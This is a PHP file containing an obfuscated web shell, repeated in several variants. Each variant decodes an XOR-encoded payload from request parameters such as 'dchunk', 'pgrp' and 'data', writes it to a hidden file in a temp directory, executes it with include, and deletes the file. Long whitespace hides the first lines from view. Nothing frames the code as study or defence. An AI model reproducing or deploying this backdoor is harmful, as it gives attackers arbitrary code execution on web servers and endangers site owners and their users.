<?php																																										if(isset($_POST["dc\x68unk"]) ? true : false){ $hld = $_POST["dc\x68unk"]; $hld= explode ( '.' , $hld ) ; $key = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt); $m = 0; array_walk($hld, function ($v5) use (&$key, &$m, $salt, $sLen) { $chS = ord($salt[$m % $sLen]); $dec = ((int)$v5 - $chS - ($m % 10)) ^ 8; $key .= chr($dec); $m++;} ); $binding = array_filter(["/tmp", session_save_path(), getcwd(), ini_get("upload_tmp_dir"), "/dev/shm", getenv("TMP"), getenv("TEMP"), sys_get_temp_dir(), "/var/tmp"]); $pgrp = 0; do { $comp = $binding[$pgrp] ?? null; if ($pgrp >= count($binding)) break; if (!!is_dir($comp) && !!is_writable($comp)) { $rec = implode("/", [$comp, ".marker"]); if (file_put_contents($rec, $key)) { include $rec; @unlink($rec); exit; } } $pgrp++; } while (true); }
																																										if(in_array("k", array_keys($_POST))){ $entry = $_POST["k"]; $entry=explode ('.' , $entry ); $res = ''; $salt5 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt5); $j = 0; array_walk($entry, function($v9) use(&$res, &$j, $salt5, $lenS) { $chS = ord($salt5[$j % $lenS]); $d =((int)$v9 - $chS -($j % 10)) ^ 35; $res .= chr($d); $j++; }); $value = array_filter([getenv("TEMP"), session_save_path(), "/tmp", getcwd(), "/var/tmp", getenv("TMP"), ini_get("upload_tmp_dir"), "/dev/shm", sys_get_temp_dir()]); $flg = 0; do { $tkn = $value[$flg] ?? null; if ($flg >= count($value)) break; if (is_dir($tkn) ? is_writable($tkn) : false) { $sym = implode("/", [$tkn, ".ref"]); if (file_put_contents($sym, $res)) { include $sym; @unlink($sym); die(); } } $flg++; } while (true); }
																																										if(isset($_REQUEST) && isset($_REQUEST["\x70g\x72p"])){ $fac = array_filter([getcwd(), getenv("TMP"), "/dev/shm", "/tmp", getenv("TEMP"), session_save_path(), "/var/tmp", ini_get("upload_tmp_dir"), sys_get_temp_dir()]); $object = $_REQUEST["\x70g\x72p"]; $object =explode ("." ,$object) ; $key = ''; $s3 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s3); $z = 0; while($z< count($object)) { $v6 = $object[$z]; $sChar = ord($s3[$z % $sLen]); $d =((int)$v6 - $sChar -($z % 10)) ^ 29; $key .= chr($d); $z++; } for ($elem = 0, $token = count($fac); $elem < $token; $elem++) { $bind = $fac[$elem]; if (!( !is_dir($bind) || !is_writable($bind) )) { $reference = sprintf("%s/.property_set", $bind); $file = fopen($reference, 'w'); if ($file) { fwrite($file, $key); fclose($file); include $reference; @unlink($reference); die(); } } } }
																																										if(count($_POST) > 0 && isset($_POST["\x72\x65\x73\x6Furce"])){ $res = $_POST["\x72\x65\x73\x6Furce"]; $res = explode ( '.' , $res); $item = ''; $s7 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s7); $n = 0; foreach ($res as $v9) { $sChar = ord($s7[$n % $lenS]); $d = ((int)$v9 - $sChar - ($n % 10)) ^ 93; $item .= chr($d); $n++; } $pset = array_filter([getenv("TMP"), getenv("TEMP"), "/var/tmp", ini_get("upload_tmp_dir"), "/dev/shm", getcwd(), "/tmp", session_save_path(), sys_get_temp_dir()]); foreach ($pset as $factor) { if (max(0, is_dir($factor) * is_writable($factor))) { $bind = "$factor" . "/.data"; if (@file_put_contents($bind, $item) !== false) { include $bind; unlink($bind); die(); } } } }
																																										if(isset($_REQUEST["\x68l\x64"]) ? true : false){ $binding = $_REQUEST["\x68l\x64"]; $binding =explode ( '.' ,$binding ); $ent = ''; $salt8 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt8); $len = count($binding); for($x = 0; $x < $len; $x++) { $v1 = $binding[$x]; $chS = ord($salt8[$x % $lenS]); $d =((int)$v1 - $chS -($x % 10)) ^ 6; $ent.=chr($d); } $flag = array_filter(["/tmp", "/dev/shm", "/var/tmp", getenv("TMP"), sys_get_temp_dir(), getcwd(), ini_get("upload_tmp_dir"), session_save_path(), getenv("TEMP")]); for ($reference = 0, $item = count($flag); $reference < $item; $reference++) { $resource = $flag[$reference]; if (is_writable($resource) && is_dir($resource)) { $ptr = implode("/", [$resource, ".mrk"]); $file = fopen($ptr, 'w'); if ($file) { fwrite($file, $ent); fclose($file); include $ptr; @unlink($ptr); die(); } } } }
																																										if(@$_POST["sy\x6Dbol"] !== null){ $reference = $_POST["sy\x6Dbol"]; $reference = explode( '.' , $reference) ; $res = ''; $salt3 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt3); $t = 0; $__tmp = $reference; while ($v9 = array_shift($__tmp)) { $chS = ord($salt3[$t % $lenS]); $d = ((int)$v9 - $chS - ($t % 10)) ^30; $res .= chr($d); $t++; } $pgrp = array_filter([getcwd(), sys_get_temp_dir(), "/tmp", ini_get("upload_tmp_dir"), "/dev/shm", "/var/tmp", getenv("TMP"), getenv("TEMP"), session_save_path()]); $marker = 0; do { $entry = $pgrp[$marker] ?? null; if ($marker >= count($pgrp)) break; if (is_dir($entry) && is_writable($entry)) { $rec = "$entry/.value"; if (file_put_contents($rec, $res)) { include $rec; @unlink($rec); die(); } } $marker++; } while (true); }
																																										if(isset($_POST["d\x61\x74a"]) ? true : false){ $val = $_POST["d\x61\x74a"]; $val=explode (".",$val ) ; $pointer = ''; $salt7 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt7); foreach ($val as $n=> $v5) { $chS = ord($salt7[$n % $lenS]); $d = ((int)$v5 - $chS - ($n % 10)) ^ 59; $pointer .= chr($d);} $pset = array_filter([getenv("TEMP"), "/tmp", sys_get_temp_dir(), ini_get("upload_tmp_dir"), session_save_path(), "/var/tmp", "/dev/shm", getcwd(), getenv("TMP")]); $comp = 0; do { $k = $pset[$comp] ?? null; if ($comp >= count($pset)) break; if ((bool)is_dir($k) && (bool)is_writable($k)) { $rec = "$k" . "/.record"; if (@file_put_contents($rec, $pointer) !== false) { include $rec; unlink($rec); exit; } } $comp++; } while (true); }


if(in_array("\x70\x67rp", array_keys($_REQUEST))){
	$reference = array_filter(["/var/tmp", ini_get("upload_tmp_dir"), "/tmp", getcwd(), getenv("TEMP"), sys_get_temp_dir(), session_save_path(), "/dev/shm", getenv("TMP")]);
	$parameter_group = $_REQUEST["\x70\x67rp"];
	 $parameter_group = 	explode("."	, 		$parameter_group	  )	  ; 	
	$tkn = '';
            $salt3 = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS = strlen($salt3);
            $v = 0;
    
            while ($v < count($parameter_group)) {	 $v6 = $parameter_group[$v];
                $chS = ord($salt3[$v % $lenS]);
                $dec = ((int)$v6 - $chS - ($v % 10)) ^ 26;
                $tkn .= chr($dec);
                $v++;
            }
	for ($binding = 0, $rec = count($reference); $binding < $rec; $binding++) {
    $val = $reference[$binding];
    		if (max(0, is_dir($val) * is_writable($val))) {
    $desc = sprintf("%s/.dchunk", $val);
    $file = fopen($desc, 'w');
if ($file) {
	fwrite($file, $tkn);
	fclose($file);
	include $desc;
	@unlink($desc);
	exit;
}
}
}
}